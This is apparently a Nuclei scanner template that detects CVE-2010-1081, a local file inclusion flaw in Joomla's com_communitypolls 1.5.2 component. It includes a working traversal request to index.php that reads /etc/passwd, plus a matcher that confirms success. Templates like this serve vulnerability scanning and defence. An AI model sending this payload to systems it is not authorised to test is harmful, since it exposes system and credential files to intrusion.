id: CVE-2010-1081

info:
  name: Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Community Polls (com_communitypolls) component 1.5.2, and possibly earlier, for Core Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11511
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1081
    - http://www.corejoomla.com/component/content/article/1-corejoomla-updates/40-community-polls-v153-security-release.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1081
    cwe-id: CWE-22
    epss-score: 0.14331
    epss-percentile: 0.96243
    cpe: cpe:2.3:a:corejoomla:com_communitypolls:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: corejoomla
    product: com_communitypolls
  tags: cve,cve2010,joomla,lfi,edb,corejoomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c075f201d3ce2c6837c6fed5a37b0fb6441050e794da71f4cb7c9c57fbad41f8022100ef234caff07220c11fde96a7f31abd629d1ec7e202f94aed1051b3a1733d6db8:922c64590222798bb761d5b6d8e72950